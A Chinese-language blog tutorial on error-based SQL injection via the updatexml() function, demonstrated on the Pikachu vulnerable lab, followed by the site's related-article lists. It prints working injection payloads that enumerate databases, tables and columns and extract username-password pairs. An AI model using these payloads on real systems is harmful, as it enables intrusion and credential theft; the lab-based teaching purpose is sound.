详解SQL报错盲注


Posted in SQL Server onJuly 23, 2022

今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL报错盲注详解。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、SQL报错函数详解

updatexml();floor();extractvalue();等函数都可以用于构造SQL报错函数,今天我们主要来讲解使用updatexml()函数。
updatexml()函数使用格式如下:

updatexml(XML_document,XPath_string,new_value)

XML_document是String格式的XML文档名称,XPath_string是XPath格式的字符串,new_value是String格式的而字符串,用于替换查找到的符合条件的数据。
该函数有一个特性,即如果XPath_string不是XPath格式的字符串,就会报错并显示处XPath的值,因此,我们可以利用这一特性实现SQL报错盲注。此外,我们还可以利用updatexml()函数的特性,实现在SQL插入、删除等语句中的SQL注入。

二、SQL报错盲注payload构造

1、updatexml语句构造思路

updatexml()函数的构造,首先需要闭合SQL语句中的冒号、括号。其次还需要使用and或者or语句连接成一个单独的语句,这样即可成功执行updatexml()函数中的语句。
下面,我以皮卡丘靶场为例,来简单介绍一下updatexml报错注入payload的构造思路,皮卡丘靶场SQL insert/update型注入页面如下所示:

详解SQL报错盲注

从上图中可以看出,该页面功能上是提供人员的注册,因此可以猜测其内部是insert类型的SQL语句,因此我们可以在手机、住址等列(一般不要选择密码,因为很多网站都会把密码进行md5处理,从而导致我们的updatexml失效)中插入我们的updatexml语句。通过简单的实验可以得知,该站点的注入闭合为单引号,因此payload的构造格式为:

12' or updatexml() or'

2、查询当前数据库

当我们确定updatexml()函数的格式后,我们就可以写实际的payload语句了,相关命令如下所示:

12'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

从上payload可以看出,updatexml()函数有三部分组成,我们需要把我们要执行的SQL语句写到第二部分,第二部分是一个concat()函数,之所以要拼接0x7e是因为该16进制字符是一个波浪线,也可以换成其他的字符。
该payload执行结果如下所示:

详解SQL报错盲注

从上图可以看出,我们当前的数据库名为pikachu。

3、查询表名

查询表名的payload如下所示:

12' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '

在上述payload中,concat中间的SQL语句要用括号括起来,然后写入正常的查询命令即可,该payload执行结果如下所示:

详解SQL报错盲注

从上图可以看出,我们查询到当前数据库存在一个名为httpinfo的表,如果我们更改limit的限制,那么我们可以得到更多的表。

4、查询列名

查询列名的payload如下所示:

12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

详解SQL报错盲注

5、查询字段名

字段名查询的payload如下所示:

12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

详解SQL报错盲注

6、查询数据

数据查询的payload如下所示:

12' or updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

详解SQL报错盲注

到此这篇关于SQL报错盲注详解的文章就介绍到这了,更多相关SQL报错盲注内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

SQL Server 相关文章推荐
2021-4-5课程——SQL Server查询【3】
Apr 05 SQL Server
SqlServer 垂直分表(减少程序改动)
Apr 16 SQL Server
sql通过日期判断年龄函数的示例代码
Jul 16 SQL Server
Spark SQL 2.4.8 操作 Dataframe的两种方式
Oct 16 SQL Server
SQL Server表分区删除详情
Oct 16 SQL Server
SQLServer RANK() 排名函数的使用
Mar 23 SQL Server
sqlserver连接错误之SQL评估期已过的问题解决
Mar 23 SQL Server
SQL Server数据库查询出现阻塞之性能调优
Apr 10 SQL Server
Sql Server 行数据的某列值想作为字段列显示的方法
Apr 20 SQL Server
SQL Server #{}可以防止SQL注入
May 11 SQL Server
SQL SERVER中的流程控制语句
May 25 SQL Server
一次SQL查询优化原理分析(900W+数据从17s到300ms)
Jun 10 SQL Server
SQL bool盲注和时间盲注详解
Jul 23 #SQL Server
在SQL Server中使用 Try Catch 处理异常的示例详解
Jul 15 #SQL Server
SQL中的连接查询详解
Jun 21 #SQL Server
SQL Server数据库备份和恢复数据库的全过程
一次SQL查询优化原理分析(900W+数据从17s到300ms)
Jun 10 #SQL Server
SQL Server2019安装的详细步骤实战记录(亲测可用)
SQL Server携程核心系统无感迁移到MySQL实战
You might like
解析php中如何直接执行SHELL
2013/06/28 PHP
thinkphp验证码的实现(form、ajax实现验证)
2016/07/28 PHP
PHP基于ICU扩展intl快速实现汉字转拼音及按拼音首字母分组排序的方法
2017/05/03 PHP
PHP扩展mcrypt实现的AES加密功能示例
2019/01/29 PHP
PHP中用Trait封装单例模式的实现
2019/12/18 PHP
ExtJS 工具栏 分页事件参数
2010/03/05 Javascript
跨浏览器通用、可重用的选项卡tab切换js代码
2011/09/20 Javascript
通过下拉框的值来确定输入框是否可以为空的代码
2011/10/18 Javascript
jquery validate poshytip 自定义样式
2012/11/26 Javascript
jQuery如何取id有.的值一般的方法是取不到的
2014/04/18 Javascript
Jquery判断radio、selelct、checkbox是否选中及获取选中值方法总结
2015/04/15 Javascript
Jquery EasyUI $.Parser
2017/06/02 jQuery
ES6解构赋值实例详解
2017/10/31 Javascript
详解react阻止无效重渲染的多种方式
2018/12/11 Javascript
详解VScode编辑器vue环境搭建所遇问题解决方案
2019/04/26 Javascript
你或许不知道的一些npm实用技巧
2019/07/04 Javascript
Vue中图片Src使用变量的方法
2019/10/30 Javascript
原生JS实现pc端轮播图效果
2020/12/21 Javascript
Python编程中的反模式实例分析
2014/12/08 Python
Python判断对象是否为文件对象(file object)的三种方法示例
2019/04/26 Python
python提取照片坐标信息的实例代码
2019/08/14 Python
python中如何进行连乘计算
2020/05/28 Python
ASOS亚洲:ASOS Asia
2018/03/04 全球购物
美国最大的半成品净菜电商:Blue Apron(蓝围裙)
2018/04/27 全球购物
全球烹饪课程的领先预订平台:Cookly
2020/01/28 全球购物
怎样自定义一个异常类
2016/09/27 面试题
小学优秀班干部事迹材料
2014/05/25 职场文书
机电专业毕业生自我鉴定2014
2014/10/04 职场文书
2014年检验科工作总结
2014/11/22 职场文书
师德师风主题教育活动总结
2015/05/07 职场文书
关于Vue Router的10条高级技巧总结
2021/05/06 Vue.js
python图片灰度化处理的几种方法
2021/06/23 Python
java基础——多线程
2021/07/03 Java/Android
Win11显卡控制面板打开显卡设置方法
2022/04/20 数码科技
Python内置类型集合set和frozenset的使用详解
2022/04/26 Python
Java实现超大Excel文件解析(XSSF,SXSSF,easyExcel)
2022/07/15 Java/Android